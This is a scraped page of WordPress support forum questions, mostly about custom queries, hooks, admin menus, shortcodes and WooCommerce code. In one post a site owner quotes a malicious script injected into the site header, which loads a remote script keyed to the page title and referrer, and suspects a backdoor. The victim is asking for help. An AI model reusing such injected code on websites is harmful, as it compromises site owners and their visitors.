Are you the publisher? Claim or contact us about this channel

Embed this content in your HTML


Report adult content:

click to rate:

Account: (login)

More Channels


Channel Catalog

Channel Description:

WordPress › Support

older | 1 | .... | 345 | 346 | (Page 347) | 348 | 349 | .... | 413 | newer

    0 0

    [ Moderator note: title adjusted, please refrain from using help, urgent, emergency, asap, etc. in topic titles. ]

    My search query works without my custom query: Normal while:

    <?php if (have_posts()) : ?>
    <?php while (have_posts()) : the_post(); ?>

    But if I want it to work with my custom query: Custom while:

    <?php if ($movies->have_posts()) : ?>
    <?php while ($movies->have_posts()) : $movies->the_post(); ?>

    It doesn't search, just shows all posts

    0 0

    How would I apply this function to a specific post-type only, let's say CPT XYZ?

    add_action( 'save_post', 'wpse_214927_alter_title', 10, 2 );
    function wpse_214927_alter_title ( $post_id, $post_object )
        // Remove the current action
        remove_action( current_filter(), __FUNCTION__ );
        $post_date      = $post_object->post_date;
        $format_date    = DateTime::createFromFormat( 'Y-m-d H:i:s', $post_date );
        $date_formatted = $format_date->format( 'Y-m-d' ); // Set correct to display here
        $post_author    = $post_object->post_author;
        $author_name    = get_the_author_meta( 'display_name', $post_author ); // Adjust as needed
        $my_post = [
            'ID' => $post_id,
            'post_title' => $author_name . ' Job ' . $date_formatted // Change as needed
        wp_update_post( $my_post );

    0 0

    Since, updating to Wordpress 4.4.1 I am unable to update plugins automatically.

    I am also unable to update bleeding edge Wordpress, as well.

    I would like to know if I am the only one getting the issue or is it multiple people have gotten the issue.

    0 0


    Could you please help me to understand - how I can change list of available translations on the plugin page in the repository?

    I have published plugin , in the /lang/ sub directory it contatins .po and .mo files for Russian and German translation.

    However translations list in the right column on the page contains only Russian translation, while German translation not appeared.

    0 0


    My site is

    Every few days , the following script appears on the header of all themes including the wordpress original themes :

    <script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(; var base = ""; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>"

    This script cause the slow of my website " waiting for" the link changes every few days. I deleted it now but i am not sure how to fix it so they can't add it again

    Every time i clean it, it appears after 2-3 days. Also sometimes new users are added without registrations. So i beleive there is a backdoor in my website. I tried every possible solution inclduing reinstall the website, deleting all themes and plugins that i don't use but the problem keep coming

    I appreciate all the help

    0 0

    I am working on creating a suite of plugins that will build on each other and have specific functionality each instead of building on massive plugin. Kind of along the lines of WooCommerce. So I have a core plugin that creates a Admin menu page (empty at the moment, but it's a place holder). Then there are three other plugins that each create a submenu under the core plugin menu. I am building the menus the same way every time, but the last one I am getting permissions problem. I've tried checking file permissions, deactivating and reactivating the plugin, and removing and reinstalling the plugin. I used to create the plugin templates.

    The core plugin looks like the following:

    $this->loader->add_action ( 'admin_menu', $plugin_admin, 'add_plugin_admin_menu' );


    add_menu_page ( 'Plugin Core Settings', 'Plugin', 'manage_options', strtolower ( $this->plugin_name ), array (
    ), 'dashicons-admin-generic', 2 );
    add_submenu_page ( 'plugin-core', 'Core Settings', 'Core', 'manage_options', strtolower ( $this->plugin_name ), array(


    $this->loader->add_action( 'admin_menu', $plugin_admin, 'add_plugin_admin_menu' );


    add_submenu_page ( 'plugin-core', 'Plugin Settings', 'Settings', 'manage_options', strtolower ( $this->plugin_name ), array (
    ) );

    Another thing that might be contributing to the problem is that once that 3rd plugin is activated clicking on the menu tries to take me to the 3rd plugin settings page and not the core plugin settings page.

    Any suggestions would be helpful! Thanks!

    0 0

    Tinymce external plugin hack is not working on wordpress 4.4.1.

    add_filter( 'mce_external_plugins', 'microlise_add_tinymce_plugin' );
    function microlise_add_tinymce_plugin( $plugin_array ) {
    $plugin_array['cta_button_script'] = plugins_url( '/cta-button.js', __FILE__ );
    return $plugin_array;

    0 0

    Hi, hope this is the right place for this.

    I am writing some code using the REST API for Woocommerce to add new products.

    All is well, except that I cannot get the image to load in the correct place - the image loads, but it appears under "additional images" rather than the product image.

    This is the snippet that loads the image into the parameters file:

    $image = $this->API_setProductImage($partnumber);
            $this->product_array['images'][0]['src'] = $image;
            $this->product_array['images']['position'] = 0;

    I have tried various options for this but no luck - anyone else had this or can tell me where I am going wrong?


    0 0

    I try add my own shortcod to function.php in Hueman theme. Function doesn't show any error but I no see any <a href="...">. Below i paste my code. Where I make a error?

    // ShowPrivateFile
    function ShowPrivateFile() {
    	if ( is_page( 'login' ) ) {
    		$output = 'Pliki dostępne tylko po zalogowaniu:'.
                    '<a href="">abcd</a></br>'.
    		'<a href="">Faktura Klamki.JPG</a></br>'.
    		'<a href="">Faktura Wkladki Klucze.JPG</a></br>';
    	return $output;
    add_shortcode("pokaz_prywatne_pliki", "ShowPrivateFile");


    0 0

    Hi All,

    Are there ways to write wordpress plugin to save a new post to some other wordpress database table.

    Actually, hooks from wordpress allow a code to fire up only after the new post is created in wordpress wp_posts table.

    But I would like to know if there are ways to make when the user adds a new post and hits publish receive all wordpress data and insert all data to some other mySQL Table.

    Thank you!

    0 0

    Hi there, I'm trying to find a way to have a set size and potentially hard crop images using the catch_that_image function.

    At the moment, I'm using featured images primarily, but have older posts which don't have any. Because I have a section that show a random group of posts with images I decided to use catch_that_image in an if/else statement to make sure something showed up.

    Now for featured images I have the following code

    if ( function_exists( 'add_theme_support' ) ) {
    	add_theme_support( 'post-thumbnails' );
            set_post_thumbnail_size( 150, 150 ); }
    if ( function_exists( 'add_image_size' ) ) {
    	add_image_size( 'article', 600, 250, true );
    	add_image_size( 'recent', 150, 70, true );
    	add_image_size('homepage', 200, 200, true);
    	add_image_size('slider', 400, 190, true);

    So I really am hoping there is a way to use add_image_size or something similar to catch_that_image in order to do the 150x70 true option. I can set the size with html, but then it distorts the image pretty bad depending on original size.

    Also here is my catch_that_image code and the code I'm using to call that or the featured image.

    Catch_that_image code.

    	function catch_that_image() {
      global $post, $posts;
      $first_img = '';
      $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
      $first_img = $matches [1] [0];
      if(empty($first_img)){ //Defines a default image
        $first_img = "/images/logo.png";
      return $first_img;

    Code calling the images.

    if ( has_post_thumbnail() ) { ?>
        <p class="image"><a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>"><?php  the_post_thumbnail( 'recent' );  ?></a></p>
    <?php } else{ ?>
    	<p class="image"><a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>"> <img src="<?php echo catch_that_image() ?>" alt="<?php the_title(); ?>" /></a></p>
    <?php } ?>

    I've tried just using the options from the add_image_size functions, but those don't work, and I've tried different variations in the catch_that_image function as well.

    I appreciate any help or insight anyone has.

    0 0

    Hello All!

    I'm trying to learn coding for WordPress and my first addon is expected to create a simple addition form :

    [Enter Number 1 ] [Enter Number 2] [Calculate]
    Result: XYZ

    Note: XYZ = Number1 + Number2.

    Clicking on the Calculate button should update the XYZ part with the result of addition of the numbers entered. I'm only halfway through the code, and stuck. Not sure how should I proceed. Would really appreciate your help. Thanks!

    My Code:

    //First create admin panel menu and hook it to WordPress
    add_action('admin_menu', 'kk_plugin_menu');
    add_action('wp_ajax_nopriv_kk_adder', 'kk_adder');
    add_action('wp_ajax_kk_adder', 'kk_adder');

    //Register Display Form ShortCode
    add_action('init', 'register_kk_shortcode');

    function register_kk_shortcode() {
    add_shortcode('showadder', 'kk_number_adder_form_display');

    //define kk_plugin_menu
    function kk_plugin_menu(){

    //this will add menu to wordpress using inbuilt function
    'Number Adder',
    'Number Adder',

    //Define function kk_number_adder_form_display

    function kk_number_adder_form_display() {

    //This will display the input form and button

    <div class="wrap">

    <h1> Number Adder </h1>

    <form id="kk_adder" name="kk_adder" class="kk-adder" action="/wp-admin/admin-ajax.php?action=kk_adder" method="post">
    <input type="text" name="number1" id="number1" placeholder="#1" />
    <input type="text" name="number2" id="number2" placeholder="#2" />
    <input type="submit" name="add_button" value="Calculate" />



    //Write the actual adder function
    function kk_adder($number1, $number2) {

    $result = $number1 + $number2;


    //Handle the ajax part: kk_return_jason
    function kk_return_json($php_array) {

    $json_result = json_encode($php_array);


    0 0

    Hello. I have been working on an issue for a little while and can't seem to find the solution. I am attempting to develop a function that changes a customer's account type (ie from 'customer' to something else) once their account spend hits a certain amount.

    Here is what I have tried so far. I very new to writing php and functions so I apologize upfront for the mess this may be. Any help would be appreciated.

     * Get total spent by customer
     * @param  int $user_id
     * @return string
    function wc_get_customer_total_spent( $user_id ) {
    if ( ! $spent = get_user_meta( $user_id, '_money_spent' < 50 ) ) {
    global $wpdb;
     // Remove role
            $user->remove_role( 'customer' );
            // Add role
            $user->add_role( 'procon' );
    $spent = $wpdb->get_var( "SELECT SUM(meta2.meta_value)
    FROM $wpdb->posts as posts
    LEFT JOIN {$wpdb->postmeta} AS meta ON posts.ID = meta.post_id
    LEFT JOIN {$wpdb->postmeta} AS meta2 ON posts.ID = meta2.post_id
    WHERE   meta.meta_key       = '_customer_user'
    AND     meta.meta_value     = $user_id
    AND     posts.post_type     IN ('" . implode( "','", wc_get_order_types( 'reports' ) ) . "')
    AND     posts.post_status   IN ( 'wc-completed', 'wc-processing' )
    AND     meta2.meta_key      = '_order_total'
    update_user_meta( $user_id, '_money_spent', $spent );
    return $spent;

    0 0


    I am customizing the Dashboard and I need to show more than 5 recent posts in the Activity widget. Below is a solution that looked promising, but it didn't work. I added it to Custom > Functions in Dynamik Website Builder. Any help would really be appreciated.

    I did find a plugin, but it did way, way more than I need.

    Link to my client's site:

    // unregister the default activity widget
    add_action('wp_dashboard_setup', 'remove_dashboard_widgets' );
    function remove_dashboard_widgets() {
        global $wp_meta_boxes;
    // register your custom activity widget
    add_action('wp_dashboard_setup', 'add_custom_dashboard_activity' );
    function add_custom_dashboard_activity() {
        wp_add_dashboard_widget('custom_dashboard_activity', 'Activity', 'custom_wp_dashboard_site_activity');
    function custom_wp_dashboard_site_activity() {
        echo '<div id="activity-widget">';
        $future_posts = wp_dashboard_recent_posts( array(
            'display' => 7,
            'max'     => 15,
            'status'  => 'future',
            'order'   => 'ASC',
            'title'   => __( 'Publishing Soon' ),
            'id'      => 'future-posts',
        ) );
        $recent_posts = wp_dashboard_recent_posts( array(
            'display' => 7,
            'max'     => 15,
            'status'  => 'publish',
            'order'   => 'DESC',
            'title'   => __( 'Recently Published' ),
            'id'      => 'published-posts',
        ) );
        $recent_comments = wp_dashboard_recent_comments( 10 );
        if ( !$future_posts && !$recent_posts && !$recent_comments ) {
            echo '<div class="no-activity">';
            echo '<p class="smiley"></p>';
            echo '<p>' . __( 'No activity yet!' ) . '</p>';
            echo '</div>';
        echo '</div>';

    0 0

    I want to make a list of a specific role. I get to the list itself, but then I do not get the link. I want each name to link to their profile page.

    I have tried all sorts of different variants and has now tried and tested me out for several weeks. Here are some different tests.

    0 0

    Trying to fix this and I know it's easy, but cannot figure it out for the life of me. I just need to check if my metadata checkbox is checked. Basically I have a custom post type called products that works great in my catalog loop. However, I have a homepage with a small gallery that only displays a select few. This is where my gallery checkbox comes into play.

    However, I cannot get an if statement to work correctly. I don't get why my logic isn't working. I just get a bunch of 'Don't show in gallery' lines even though the checkbox is checked and saved/updated correctly. Basically, it's saying they are all false and I have two of them checked and saved for testers. WEIRD!

    $gallery = get_post_meta($post->ID, 'gallery', true);
    if($gallery == true) {
     echo 'Show in gallery';
     } else {
    echo 'Don't show in gallery';

    0 0


    wordpress newbie here!

    I have the following query that works fine

    $args = array(
    	'post_type'  => 'listing',
            'meta_query' => array(
               'relation' => 'AND',
    	       'key'     => '_listing_price',
                  'value'   => '500000', //number to search
                  'type'    => 'numeric',
                  'compare' => '>=',
    $my_query = new WP_Query($args);

    With the loop ($my_query->have_posts() etc) I can display the correct found post.

    My question is how to translate this query into a form?
    I understand how to do it for the post_type arg : <input type="hidden" value="listing" name="post_type" /> But I'm a bit confused with the nested arrays. How can I make a form to search the price (500000 in the example)?

    Thank you very much,


    0 0

    0 0

    How can I modify the length of the excerpt in widgets only? & leave the length of the excerpt at 55 if it is found anywhere else in the content.

    I found this code which shows how to modify the excerpt length for different post types

    function isacustom_excerpt_length($length) {
        global $post;
        if ($post->post_type == 'post')
            return 32;
        else if ($post->post_type == 'products')
            return 65;
        else if ($post->post_type == 'testimonial')
            return 75;
            return 80;
    add_filter('excerpt_length', 'isacustom_excerpt_length');

    How can I adapt this type of logic to target widgets?

    0 0

    Does anyone know if its possible or does a plugin exit where you can scroll pre and next between specific pages not posts?

    Where if I want a group of pages that are bios for instance, and when your viewing one the a next and pre button at the bottom will allow you to got to the next or previous?

    I know it's possible to to this in posts using categories but wondered if any had any ideas for specific group of pages

    I found this code that does almost what I require but is there a way or can something think of a way to maybe tag pages and use that tag as being the selector of the pages? does that make sense?

    $pagelist = get_pages('sort_column=menu_order&sort_order=asc');
    $pages = array();
    foreach ($pagelist as $page) {
       $pages[] += $page->ID;
    $current = array_search($post->ID, $pages);
    $prevID = $pages[$current-1];
    $nextID = $pages[$current+1];
    echo "Current: $current";
    echo "Prev: $prevID";
    echo "Next: $nextID";
    <div class="navigation">
    <?php if (!empty($prevID)) { ?>
    <div class="alignleft"><a href="<?php echo get_permalink($prevID); ?>">Previous</a></div>
    <?php }
    if (!empty($nextID)) { ?>
    <div class="alignright"><a href="<?php echo get_permalink($nextID); ?>">Next</a></div>
    <?php } ?>
    <div class="clear"><!-- --></div>
    </div><!-- .navigation -->

older | 1 | .... | 345 | 346 | (Page 347) | 348 | 349 | .... | 413 | newer